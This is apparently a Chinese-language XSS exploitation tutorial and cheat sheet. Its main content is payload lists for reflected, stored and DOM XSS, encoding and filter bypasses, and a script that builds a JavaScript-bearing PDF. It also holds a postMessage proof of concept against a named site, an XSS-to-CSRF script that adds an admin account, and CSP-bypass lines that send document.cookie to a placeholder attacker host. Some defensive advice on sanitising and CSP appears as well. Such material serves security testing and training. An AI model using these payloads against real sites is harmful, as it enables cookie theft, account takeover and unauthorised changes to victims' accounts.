前言 主要围绕xss的利用方法和挖掘思路
xss基本分类 可以检测是否存在xss的函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <script > alert(/xss/ ) </script > <script > prompt(/xss/ ) </script > <script > confirm(/xss/ ) </script > <script > console .log(3 )</script > <script > document .write(1 )</script > <a href ="javascript:alert(1)" > test</a > <button onclick =alert(1) > Click me</button > <form > <button formaction =javascript:alert(1) > XSS <form action =javascript:alert(1) > <input type =submit value =XSS > <img src =1 onerror =alert(1) > <svg onload =alert(1) > </svg > <div onmouseover ='alert(1)' > DIV</div > <input onfocus =alert(1) autofocus > <select onfocus ="alert('xss');" autofocus > </select > <details open ontoggle =alert(1) > <body onload ="alert('xss');" > </body > <object data ="data:text/html;base64,PHNjcmlwdD5hbGVydCgiVGhpcyBpcyBhIHRlc3QiKTwvc2NyaXB0Pg==" > </object > <iframe src ="javascript:alert('XSS');" > </iframe > <iframe srcdoc ="<img src=1 onerror=alert(1)>" > </iframe >
反射型 黑客往往需要诱使用户“点击”一个恶意链接,才能攻击成功
1 2 3 4 5 <? php $input = $_GET ["param" ]; echo "<div>" .$input ."</div>" ; ?>
由于漏扫的普及,反射性xss已经消失殆尽了
储存型 如写评论,存在数据库中,别人看评论时,调用数据库直接拼接,触发xss 如果没有在源头处理xss,都有可能存在存储型xss,想挖掘存储型xss就得多测试多观察
DOM型 可以看成特殊的反射型,通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。
实例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <script > function test ( ) { var str = document .getElementById("text" ).value; document .getElementById("t" ).innerHTML = "<a href='" +str+"' >testLink</a>" ; } </script > <div id ="t" > </div > <input type ="text" id ="text" value ="" /> <input type ="button" id ="s" value ="write" onclick ="test()" /> <a href ='' onlick =alert(/xss/) //' > testLink</a >
source 除此传参之外,还有这些注入点
1 2 3 4 5 document .URLwindow .location.href window .location.pathnamewindow .location.searchwindow .location.hash
在新版的浏览器会对以上参数获取值进行url编码 ,location.hash和location.pathname中的:'.()*_-!~
不会被编码,\
虽然不会编码但是会被转义,location.href和document.URL为上述的拼接,编不编码看具体位置
一些危险的解码操作
1 2 decodeURIComponent (window .location.search.substring(1 )) new URLSearchParams(window .location.search).get('xssparam' )
AJAX XMLHttpRequest或fetch 的目标url可控时,并且响应注入到页面里,可以控制响应内容造成Xss
1 2 3 var url = "https://" + target + "/api/v1/reset/" + referenceID;var request = new XMLHttpRequest(); request.open("get" , url, true );
postMessage()引起的xss window.postMessage() 方法可以安全地实现跨源通信。通常,对于两个不同页面的脚本,只有同源策略时,这两个脚本才能相互通信。window.postMessage() 方法提供了一种受控机制来规避此限制,只要正确的使用,这种方法就很安全。
实例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <script> function pocLink ( ) { let win = window .open('https://fastest.joox.com/?123=icjsejt2#123456' ); let msg = "alert(123)" ; setTimeout (function ( ) { win.postMessage(msg, '*' ); }, 5000 ); } function pocFrame (win ) { win.postMessage({sourceId : 0 , type :"BURPDOMINVADER/reissue" , message : JSON .stringify({"manipulatedData" :"{\"type\":\"UPDATE_ENV_INFO\",\"data\":\"alert(123)\"}" ,"origin" :"https://fastest.joox.com.fakejoox.com" ,"messageType" :"json-object" })}, '*' ); } </script> </head> <body > <a href ="#" onclick ="pocLink();" > PoC link</a > <iframe src ="https://fastest.joox.com/?123=icjsejt2#123456" onload ="pocFrame(this.contentWindow)" > </iframe > </body >
1 2 3 4 5 6 var messageEle = document .getElementById('recMessage' ); window .addEventListener('message' , function (e ) { messageEle.innerHTML = "从" + e.origin +"收到消息: " + e.data; });
sink 1 2 3 4 5 6 7 8 9 10 11 12 document .getElementById("y" ).innerHTML="xxxxxxxxxx" ;document .write("xxxxxxxxxxxx" );document .body.appendChild();document .getElementById("y" ).src="xxxxxxxxxx" ;$("#y" ).html("xxxxxxx" ); $('#backLink' ).attr("href" ,"xxxxxxx" ); $(".content_block_head" ).prepend("xxxxxxx" ); $(".content_block_head" ).after("xxxxxxx" ); eval (h_xhr.responseText);
挖掘思路 根据漏洞位置确定挖掘思路 直接插入HTML标签 1 2 3 4 payload: <script > alert(1)</script > <div > {{content}}</div > result: <div > <script > alert(1)</script > </div >
这类XSS通常都被浏览器的XSS过滤器秒杀了,通常,我们只需要 <
, >
过滤掉即可。
在js文件里 当输入位于脚本块中的字符串分隔值内时使用
1 2 '-alert(1)-' '/alert(1)//
示例源代码
1 2 3 <script> var sitekey = 'REFLECTED_HERE' ; </script>
输入有效负载后
1 2 3 <script> var sitekey = '' -alert(1 )-'' ; </script>
一般将引号 转义就可以了
当同一行JS代码存在多次反射时,可以绕过引号过滤
示例源代码
1 2 3 <script> var a = 'REFLECTED_HERE' ; var b = 'REFLECTED_HERE' ; </script>
输入有效负载后
1 2 3 <script> var a = '/alert(1)//\'; var b = ' /alert(1 ) </script>
输出在HTML属性里的情况 将用户输入的值直接作为属性值 在标签的 href,src,link 等地址属性中,包含 **javascript:**开头的可执行代码。 在 onload、onerror、onclick 等触发事件中,注入不受控制代码
并且事件属性或地址属性内的代码不局限于一条语句,可以包含多条语句
1 2 3 <button onclick="alert('Hello'); console.log('Button clicked'); fetch('https://api.example.com').then(response => response.json()).then(data => console.log(data)).catch(error => console.error('Error:', error))" > Click Me </button>
使用innerHtml,prepend,after等自定义节点拼接属性 如果使用属性命名的方式,会自动html实体化编码
<input maxlength="500" placeholder="请输入关键词" class="ant-input css-20i901" type="text" value="...">
如这个例子value是注入点,利用方法是将自己编写一个属性,如123" onclick="alert(1)
输出在属性中一般过滤了 “” 就可以了
上传文件引起的xss 有的文件上传用的黑名单(如lnmp),有的文件上传允许上传pdf,svg文件,都会引起xss
上传文件回显结果 在文件名中使用XSS(文件上传)
1 "><svg onload=alert(1)>.jpeg
在元数据中使用XSS(文件上传) 直接在 Windows 上右键打开即可修改即可 利用面比较窄,exif 在线查看,大部分都存在该漏洞。
上传文件可预览 注意: 如果是插在src上,如<img src="untrusted.svg"/>
是无法触发xss,即使你能看到上传的图片,所以如果文件是存在云上,且无法预览是无法触发xss的
pdf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from PyPDF2 import PdfReader, PdfWriterfrom PyPDF2.generic import NameObject, DictionaryObject, TextStringObjectnew_pdf = PdfWriter() new_pdf.add_blank_page(width=72 , height=72 ) js_code = """ this.disclosed = true; app.alert('xss attack!'); """ catalog = new_pdf._root_object js_dict = DictionaryObject() js_dict.update({ NameObject('/S' ): NameObject('/JavaScript' ), NameObject('/JS' ): TextStringObject(js_code) }) catalog.update({ NameObject('/OpenAction' ): js_dict }) with open ("output.pdf" , "wb" ) as output_stream: new_pdf.write(output_stream)
可以试试通过CVE-2024-4367来实现PDF XSS 获取Cookie、账户接管等
svg SVG(可缩放矢量图形)是一种用于描述二维矢量图形的XML语言。它可以在网页上以矢量形式显示,这意味着它们可以无损地缩放到任意大小而不失真。SVG文件通常包含图形、路径、文本和其他图形元素的描述。
1 2 3 4 5 6 7 8 <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" > <svg version ="1.1" baseProfile ="full" xmlns ="http://www.w3.org/2000/svg" > <polygon id ="triangle" points ="0,0 0,50 50,0" fill ="#009900" stroke ="#004400" /> <script type ="text/javascript" > alert(1); </script > </svg >
xml 1 2 3 4 5 6 7 <html > <head > </head > <body > <something:script xmlns:something ="http://www.w3.org/1999/xhtml" > alert(1);</something:script > </body > </html >
富文本编辑器下的xss 富文本编辑器是一种允许用户以所见即所得的方式创建和编辑文本内容的工具。与普通文本编辑器不同,富文本编辑器不仅支持基本的文本输入,还允许用户添加格式、颜色、图片、链接、表格等多种元素。广泛应用于博客、文章撰写、在线表单、邮件客户端等各种场合,增强了用户在内容创作过程中的灵活性和表达能力。
无用的self-dom-xss 如vue富文本编辑器直接v-html来渲染前端xss,原则上是可以弹窗的,但是很难去利用,毕竟你输入这个操作,没有产生数据包没办法用csrf更不会存在服务器里,但是还有一种情况,如果存在Storage里并且可以通过url或传参影响到它,那还是可以利用的
储存xss 对于利用风险来说,如果是实时跟新,或者有保存按钮,则可能存在富文本编辑器下的储存xss漏洞,还有就是对于利用难度上来说,如果一个富文本功能比较强大,如可以插图片,则更容易绕过设置的检测
如果采用安全可靠的HTML过滤库,如HTMLPurifier、DOMPurify等,则会有效防范利用
删除掉一些危险DOM节点,比如iframe、script等
对属性进行一遍处理,处理逻辑是只保留白名单里名字开头的属性,对于满足正则/href|src|background|on+/i的属性,进行额外处理
绕过检测 下面的思路都是源自p神,本人暂时没有分析过富文本编辑器源码,但是实战中有用到过这些思路来绕过限制,还是很好用的
富文本编译器构建语法树和匹配关键字时大概率是用的正则匹配,绕过思路也是围绕绕过正则匹配来展开的 例如:(<[A-Za-z][A-Za-z0-9-]*[^>]*)(onload\\s*=)
来匹配标签里是否有onload
替换为空导致的问题,这个就是老生常谈的了,如果只用替换来代替检测而没有后一步的操作的化,必然会带来问题
字符匹配导致的问题<svg><svg x=">" onload=alert(1)>
jsonp xss
试探性的构造了一个参数callback=xxx,成功返回了xxx{},可见确实存在jsonp
所以最终的payload为: https://test.target.com/strange/back.jsp?callback=<img src=x onerror=alert(document.domain)>
,也就成功造成了XSS 设置Conten-type为application/json 或application/javascript 或text/plain ,会将输入的内容进行实体编码,所以一般情况下不存在xss ,如果设置为text/html 未过滤callback的话就等于反射xss
绕过手法 编码绕过 解析顺序: js Unicode 编码< url 编码< html 实体编码
html 实体编码 当浏览器解析转化完成dom树之后,就会对**节点内容(如节点属性,节点的内容)**进行html解码,也就是说html 实体编码不会影响到dom树的结构,只能用来绕过黑名单
url 编码 如果属性有指定超链接的需求 时,如href,会对其中的值进行一次url解码(不能对协议类型进行任何的编码操作,如http://
)
js Unicode 编码 当处理有关js的信息 时,会进入JS 的解析模式,进行一次Unicode解码(Unicode 编码只能编辑标识符,如方法名,参数名,参数)
输入在<script> 标签
里的 JavaScript 中是不会有 html 实体编码
利用解析编码 1 2 3 4 5 6 7 8 9 10 11 12 <a href ="javascript:alert(1)" > test</a > <a href ="j a v a s c r i p t : a l e r t ( 1 ) " > test</a > <a href ="javascript:alert(1)" > test</a > <a href ="javascript:%61%6c%65%72%74%28%31%29" > test</a > <img src =x onerror ="\u0061\u006c\u0065\u0072\u0074(1)" > <input onfocus =location ="javascript:\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029" autofocus >
1 2 3 4 5 <a href="{A}javas{B}cript{C}:alert(1)"> A) ,  ... up to ...   B) 	, 
, 
 C) 	, 
, 
利用协议或函数编码 1 2 3 4 5 6 <iframe src ="data:text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=" > </iframe > <img src =x onerror ="eval(atob('YWxlcnQoMSk='))" > <a href ='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))' > test</a >
特殊符号绕过 空格过滤绕过 /,/123/,%09,%0A,%0C,%0D,%20
()过滤绕过 有waf可以把()换成``
1 2 3 4 <script > alert`1` </script > <img src =1 onerror =location ="javascript:" +"aler "+"t %281 %29 ">
单引号过滤绕过 1 <script > alert(/xss/ ) </script >
关键词绕过 函数拼接 1 2 3 4 5 6 7 8 9 <img src ="x" onerror ="eval('al'+'ert(1)')" > <img src ="x" onerror ="top['al'+'ert'](1)" > <img src ="x" onerror ="window['al'+'ert'](1)" > <img src ="x" onerror ="self[`al`+`ert`](1)" > <img src ="x" onerror ="parent[`al`+`ert`](1)" > <img src ="x" onerror ="frames[`al`+`ert`](1)" > <svg onload =location ='javas' .concat ('cript:ale ','rt (1 )')> </svg > <img src onerror =top[a ='al' ,b ='ev' ,b +a ]('alert (1 )')>
location location对象的hash属性用于设置或取得 URL 中的锚部分,比如:http://localhost/1.php#alert(1)
1 2 <body onload=eval (location.hash.slice(1 )) <body onload=Function (location.hash.slice(1 ))()
利用思路 通过csrf 提权 存储型-self-xss 一些私密的页面无法被别人看到,如个人信息设置页面的xss,可以通过csrf让目标自己执行xss漏洞,从而达到效果
通过xss实现csrf 如果cookie不可读可以使用csrf读取用户敏感信息或者执行特定操作,甚至可能形成xss蠕虫
1 2 3 4 5 6 <script> xmlhttp = new XMLHttpRequest(); xmlhttp.open("post" ,"http://192.168.225.165/cms/admin/user.action.php" ,false ); xmlhttp.setRequestHeader("Content-type" ,"application/x-www-form-urlencoded" ); xmlhttp.send("act=add&username=weiwei&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0" ); </script>
读取LocalStorage和IndexedDB的数据 在HTML5发布后,提供了一种新的客户端本地保存数据的方法,那就是Web Storage,它也被分为:LocalStorage 和SessionStorage (就是开发工具里存储里面的本地存储和会话存储),它允许通过JavaScript在Web浏览器中以键值对的形式保存数据。而相比Cookie有如下优点:
拥有更大的存储容量,Cookie是4k,localStorage为5M。
localStorage没有过期时间,除非手动删除,否则数据会一直存在。sessionStorage会在当前会话内有效
Storage数据仅能在客户端存取,不会自动发送到服务器。
LocalStorage:适合存储较大且不需要频繁与服务器交互的数据,例如用户偏好设置、应用状态等。 Cookie:适合存储会话相关的信息,比如用户身份验证、跟踪用户行为等。
Localstorage存储的数据可以通过JavaScript代码访问和修改,如果把用户的敏感信息或者直接把识别用户的token放在Localstorage,这可能导致用户数据泄露、越权
1 2 <script>alert(localStorage .getItem(‘key’))</script> <script > alert(JSON .stringify(localStorage )) </script >
IndexedDB支持更大的存储空间,通常能存储数百MB或更多的数据,存储结构化数据,如对象、数组等,且支持索引和事务管理,提供比 localStorage 更复杂的存储能力,适用于需要存储大量数据、进行复杂查询、支持离线应用和数据持久化的场景
LocalStorage与SessionStorage的区别 多个选项卡和窗口中打开了一个应用程序,而一旦在其中一个选项卡或窗口中更新了LocalStorage,则在所有其他选项卡和窗口中都会看到更新后的LocalStorage数据。但是,SessionStorage数据独立于其他选项卡和窗口。如果同时打开了两个选项卡,其中一个更新了SessionStorage,则在其他选项卡和窗口中不会反映出来。
CSP 所谓CSP(Content Security Policy)即浏览器内容安全策略, 为了缓解部分跨站脚本问题,CSP的实质就是白名单机制,当有从非白名单允许的JS脚本出现在页面中,浏览器会阻止脚本的执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <meta http-equiv ="X-UA-Compatible" content ="IE=edge" > <meta http-equiv ="Content-Security-Policy" content ="script-src 'self';frame-src 'self'" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > CSP</title > </head > <body > <iframe src ="//player.bilibili.com/player.html?aid=70951224&bvid=BV1EE411Z7J2&cid=122934671&page=1" scrolling ="no" border ="0" frameborder ="no" framespacing ="0" allowfullscreen ="true" > </iframe > </body > <button onclick ="alert('This will be blocked')" > Click me</button > <script > alert("xss!" ); </script > <script type ="text/javascript" src ="http://ctftest.com/api.js" > </script > </html >
Content-Security-Policy: default-src ‘self’; /* 仅允许加载来自同一源的资源 / = script-src ‘self’; / 仅允许从同一源加载脚本 /+ connect-src ‘self’; / 仅允许通过 XMLHttpRequest, WebSocket 等连接到同一源 /+ img-src ‘self’; / 仅允许加载本地或可信任的图片 /+ style-src ‘self’; / 仅允许从本地或可信站点加载样式 /+ form-action ‘self’; / 仅允许从同一源提交表单 */
csp的绕过 1 2 3 4 5 6 7 8 location.href = "vps_ip:xxxx?" +document .cookie var iframe = document .createElement('iframe' );iframe.src="./safe.php" ; document .body.appendChild(iframe);setTimeout (()=> location.href='http://x.x.x.x/cookie/' +escape (document .cookie),1000 );